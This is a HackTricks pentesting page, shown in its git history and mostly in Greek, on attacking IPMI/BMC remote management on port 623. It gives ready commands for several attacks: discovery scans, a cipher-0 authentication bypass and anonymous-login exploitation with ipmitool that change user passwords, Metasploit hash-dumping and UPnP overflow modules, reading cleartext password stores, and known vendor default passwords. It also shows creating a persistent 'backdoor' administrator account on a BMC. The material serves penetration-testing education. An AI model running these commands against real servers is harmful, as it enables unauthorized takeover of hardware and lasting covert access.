hacktricks/network-services-pentesting/623-udp-ipmi.md

149 lines
15 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Basic Information
### **Overview of IPMI**
2022-10-02 21:10:53 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση τροφοδοσίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται συστήματα απομακρυσμένα, ακόμη και όταν είναι απενεργοποιημένα ή μη ανταποκρινόμενα, και είναι ιδιαίτερα χρήσιμη για:
2022-10-02 21:10:53 +00:00
- Ρυθμίσεις εκκίνησης πριν από το λειτουργικό σύστημα
2024-02-10 22:40:18 +00:00
- Διαχείριση απενεργοποίησης
- Ανάκτηση από αποτυχίες συστήματος
2022-10-02 21:10:53 +00:00
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, παράλληλα με την παροχή πληροφοριών αποθέματος, την ανασκόπηση καταγραφών υλικού και την αποστολή ειδοποιήσεων μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.
2022-10-02 21:10:53 +00:00
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:
- **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.
- **Communication Buses and Interfaces:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
- **IPMI Memory:** Για την αποθήκευση καταγραφών και δεδομένων.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Default Port**: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Μπορείτε να **εντοπίσετε** την **έκδοση** χρησιμοποιώντας:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Vulnerabilities
Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του **cipher type 0**. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην [έρευνα του Dan Farmer](http://fish2.com/ipmi/cipherzero.html), επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.
### **IPMI Authentication Bypass via Cipher 0**
2024-02-08 21:36:35 +00:00
Για να ανιχνευθεί αυτή η αδυναμία, μπορεί να χρησιμοποιηθεί ο παρακάτω auxiliary scanner του Metasploit:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Η εκμετάλλευση αυτού του σφάλματος είναι εφικτή με το `ipmitool`, όπως αποδεικνύεται παρακάτω, επιτρέποντας την καταγραφή και τροποποίηση των κωδικών πρόσβασης χρηστών:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατισμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιοδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτή την ευπάθεια, το Metasploit προσφέρει ένα module:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Ανώνυμη Αυθεντικοποίηση**
Μια προεπιλεγμένη ρύθμιση σε πολλές BMC επιτρέπει την "ανώνυμη" πρόσβαση, που χαρακτηρίζεται από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για να επαναφέρει τους κωδικούς πρόσβασης των ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Clear-text Passwords**
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
### **Ευπάθεια UPnP IPMI Supermicro**
Η συμπερίληψη ενός ακροατή SSDP UPnP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφαλείας. Οι ευπάθειες στο Intel SDK για συσκευές UPnP έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν πρόσβαση root στο BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης** για το προϊόν **Integrated Lights Out (iLO)** κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν **στατικά προεπιλεγμένα διαπιστευτήρια**. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής:
- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- Προϊόντα όπως το **Dell's iDRAC, IBM's IMM** και το **Fujitsu's Integrated Remote Management Controller** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.
- Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
## Accessing the Host via BMC
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
## Introducing Backdoors into BMC from the Host
Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη**, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγών BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
## References
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Υποστήριξη HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}